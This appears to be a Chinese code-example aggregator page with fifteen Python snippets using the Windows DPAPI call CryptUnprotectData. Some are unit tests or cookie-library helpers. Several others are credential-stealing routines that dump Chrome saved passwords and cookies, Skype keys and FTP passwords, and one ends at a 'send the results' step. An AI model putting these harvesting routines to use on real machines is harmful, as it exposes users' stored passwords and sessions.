本文整理匯總了Python中win32crypt.CryptUnprotectData方法的典型用法代碼示例。如果您正苦於以下問題:Python win32crypt.CryptUnprotectData方法的具體用法?Python win32crypt.CryptUnprotectData怎麽用?Python win32crypt.CryptUnprotectData使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在類win32crypt
的用法示例。
在下文中一共展示了win32crypt.CryptUnprotectData方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。
示例1: parse_xml
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def parse_xml(self, xml_file):
tree = ET.ElementTree(file=xml_file)
pwdFound = []
for elem in tree.iter():
values = {}
try:
if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib[
'name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib[
'name'].startswith('https'):
values['URL'] = elem.attrib['name']
encrypted_password = base64.b64decode(elem.attrib['value'])
password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1]
values['Password'] = password
pwdFound.append(values)
except Exception, e:
pass
# print the results
示例2: retrieve_info
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def retrieve_info(self, hkey, name_key):
values = {}
num = win32api.RegQueryInfoKey(hkey)[1]
for x in range(0, num):
k = win32api.RegEnumValue(hkey, x)
if 'password' in k[0].lower():
try:
password = win32crypt.CryptUnprotectData(k[1][1:], None, None, None, 0)[1]
values[k[0]] = password.decode('utf16')
except Exception, e:
values[k[0]] = 'N/A'
else:
try:
values[k[0]] = str(k[1]).decode('utf16')
except:
values[k[0]] = str(k[1])
示例3: get_regkey
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def get_regkey(self):
try:
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
keyPath = 'Software\\Skype\\ProtectedStorage'
try:
hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
except Exception, e:
print e
return ''
num = win32api.RegQueryInfoKey(hkey)[1]
k = win32api.RegEnumValue(hkey, 0)
if k:
key = k[1]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
示例4: run
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def run(self):
chrome_result = os.linesep
try:
path = os.getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login Data"
pathcopy = os.getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\LoginDataCopy"
copyfile(path, pathcopy)
connectionSQLite = sqlite3.connect(pathcopy)
cursor = connectionSQLite.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for raw in cursor.fetchall():
password = win32crypt.CryptUnprotectData(raw[2])[1]
chrome_result = chrome_result + password + os.linesep
connectionSQLite.close()
except Exception, e:
chrome_result = "No passwords in Chrome retrieved"
# Send the results
示例5: get_regkey
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def get_regkey(self):
try:
accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
keyPath = 'Software\\Skype\\ProtectedStorage'
try:
hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
except Exception, e:
# print e
return ''
num = win32api.RegQueryInfoKey(hkey)[1]
k = win32api.RegEnumValue(hkey, 0)
if k:
key = k[1]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
示例6: testSimple
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def testSimple(self):
data = str2bytes("My test data")
entropy = None
desc = "My description"
flags = 0
ps = None
blob = win32crypt.CryptProtectData(data, desc, entropy, None, ps, flags)
got_desc, got_data = win32crypt.CryptUnprotectData(blob, entropy, None, ps, flags)
self.failUnlessEqual(data, got_data)
self.failUnlessEqual(desc, got_desc)
示例7: testEntropy
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def testEntropy(self):
data = str2bytes("My test data")
entropy = str2bytes("My test entropy")
desc = "My description"
flags = 0
ps = None
blob = win32crypt.CryptProtectData(data, desc, entropy, None, ps, flags)
got_desc, got_data = win32crypt.CryptUnprotectData(blob, entropy, None, ps, flags)
self.failUnlessEqual(data, got_data)
self.failUnlessEqual(desc, got_desc)
示例8: _decrypt
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def _decrypt(self, value, encrypted_value, key):
"""Decrypt encoded cookies
"""
if (sys.platform == 'darwin') or sys.platform.startswith('linux'):
if value or (encrypted_value[:3] != b'v10'):
return value
# Encrypted cookies should be prefixed with 'v10' according to the
# Chromium code. Strip it off.
encrypted_value = encrypted_value[3:]
# Strip padding by taking off number indicated by padding
# eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
def clean(x):
last = x[-1]
if isinstance(last, int):
return x[:-last].decode('utf8')
else:
return x[:-ord(last)].decode('utf8')
iv = b' ' * 16
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted_value)
return clean(decrypted)
else:
# Must be win32 (on win32, all chrome cookies are encrypted)
try:
import win32crypt
except ImportError:
raise BrowserCookieError(
'win32crypt must be available to decrypt Chrome cookie on Windows')
return win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[
1].decode("utf-8")
示例9: main
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute(
'SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
if (os.name == "posix") and (sys.platform == "darwin"):
print("Mac OSX not supported.")
sys.exit(0)
for origin_url, username, password in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(
password, None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': origin_url,
'username': username,
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
else:
print(e)
sys.exit(0)
return info_list
示例10: dump_passwords
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def dump_passwords(self):
con = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cur = con.cursor()
cur.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cur.fetchall():
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
site = 'Site: %s\n' % result[0]
username = 'Username: %s\n' % result[1]
password = 'Password: %s\n\n' % password
with open(r'' + str(path_to_files) + 'CHROME/chrome_passwords.txt', 'a') as outputfile:
outputfile.write(site + username + password)
outputfile.close()
files.append(path_to_files + 'CHROME/chrome_passwords.txt')
示例11: extract_passwords
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def extract_passwords(self, path_db):
info_list = []
try:
connection = sqlite3.connect(path_db)
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT origin_url, username_value, password_value, date_created FROM logins')
value = v.fetchall()
for origin_url, username, password, date_created in value:
try:
pswd = decrypter(password, None, None, None, 0)[1]
except:
pswd = b'???'
if username:
info_list.append({
'URL': re.search('\/\/(?:www\.)?([^:\/?\n]+)', origin_url)[1],
'Login': username,
'Password': str(pswd, 'utf-8'),
'Created date': str(self.convert_time(date_created).strftime('%Y/%m/%d - %H:%M:%S'))
})
except:
return []
return info_list
示例12: extract_cookies
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def extract_cookies(self, path_db):
info_list = {}
id = {}
try:
connection = sqlite3.connect(path_db)
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT host_key, name, encrypted_value, expires_utc, '
'path, is_httponly, is_secure FROM cookies')
value = v.fetchall()
for host_key, name, encrypted_value, expires_utc, path, http, secure in value:
decrypted_value = decrypter(encrypted_value, None, None, None, 0)[1].decode('utf-8')
if decrypted_value:
try:
if host_key not in info_list:
id[host_key] = 1
info_list[host_key] = []
else:
id[host_key] += 1
el = {"domain": host_key,
"expirationDate": int(self.convert_time(expires_utc).timestamp()),
"hostOnly": False,
"httpOnly": bool(http),
"name": name,
"path": str(path),
"sameSite": "no_restriction",
"secure": bool(secure),
"session": False,
"storeId": "0",
"value": decrypted_value,
"id": id[host_key]}
info_list[host_key] = info_list[host_key] + [el]
except:
pass
except:
return []
return info_list
示例13: start
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def start(self):
#Retriving Password Hash From Database File
c = sqlite3.connect(self.login_db)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
cursor.execute(select_statement)
login_data = cursor.fetchall()
credentials_dict = {}
#Decrypting password
for url, user_name, pwd, in login_data:
pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #Tuple
credentials_dict[url] = (user_name, pwd[1])
#Iterating Each Creds and Storing it in "self.result"
for url, credentials in six.iteritems(credentials_dict):
if credentials[1]:
self.result += "\n\nURL : " + url
self.result += "\nUsername : " + credentials[0]
self.result += "\nPassword : " + credentials[1].decode('utf-8')
else:
self.result += "\n\nURL : " + url
self.result += "\nUsername : NOT FOUND"
self.result += "\nPassword : NOT FOUND"
return self.result
示例14: unseal_windpapi
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def unseal_windpapi(sealed: bytes, entropy=None) -> bytes:
import win32crypt
(desc, secret) = win32crypt.CryptUnprotectData(sealed,
entropy,
None, # reserved
None, # prompt
0x01) # flags
return secret
示例15: decrypt_cookie
# 需要導入模塊: import win32crypt [as 別名]
# 或者: from win32crypt import CryptUnprotectData [as 別名]
def decrypt_cookie(self, encrypted_value):
"""Decryption based on work by Nathan Henrie and Jordan Wright as well as Chromium source:
- Mac/Linux: http://n8henrie.com/2014/05/decrypt-chrome-cookies-with-python/
- Windows: https://gist.github.com/jordan-wright/5770442#file-chrome_extract-py
- Relevant Chromium source code: http://src.chromium.org/viewvc/chrome/trunk/src/components/os_crypt/
"""
salt = b'saltysalt'
iv = b' ' * 16
length = 16
def chrome_decrypt(encrypted, key=None):
# Encrypted cookies should be prefixed with 'v10' according to the
# Chromium code. Strip it off.
encrypted = encrypted[3:]
# Strip padding by taking off number indicated by padding
# eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
def clean(x):
return x[:-ord(x[-1])]
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted)
return clean(decrypted)
decrypted_value = "<error>"
if encrypted_value is not None:
if len(encrypted_value) >= 2:
# If running Chrome on Windows
if sys.platform == 'win32' and self.available_decrypts['windows'] is 1:
try:
decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1]
except:
decrypted_value = "<encrypted>"
# If running Chrome on OSX
elif sys.platform == 'darwin' and self.available_decrypts['mac'] is 1:
try:
if not self.cached_key:
my_pass = keyring.get_password('Chrome Safe Storage', 'Chrome')
my_pass = my_pass.encode('utf8')
iterations = 1003
self.cached_key = PBKDF2(my_pass, salt, length, iterations)
decrypted_value = chrome_decrypt(encrypted_value, key=self.cached_key)
except:
pass
else:
decrypted_value = "<encrypted>"
# If running Chromium on Linux.
# Unlike Win/Mac, we can decrypt Linux cookies without the user's pw
if decrypted_value is "<encrypted>" and self.available_decrypts['linux'] is 1:
try:
if not self.cached_key:
my_pass = 'peanuts'
iterations = 1
self.cached_key = PBKDF2(my_pass, salt, length, iterations)
decrypted_value = chrome_decrypt(encrypted_value, key=self.cached_key)
except:
pass
return decrypted_value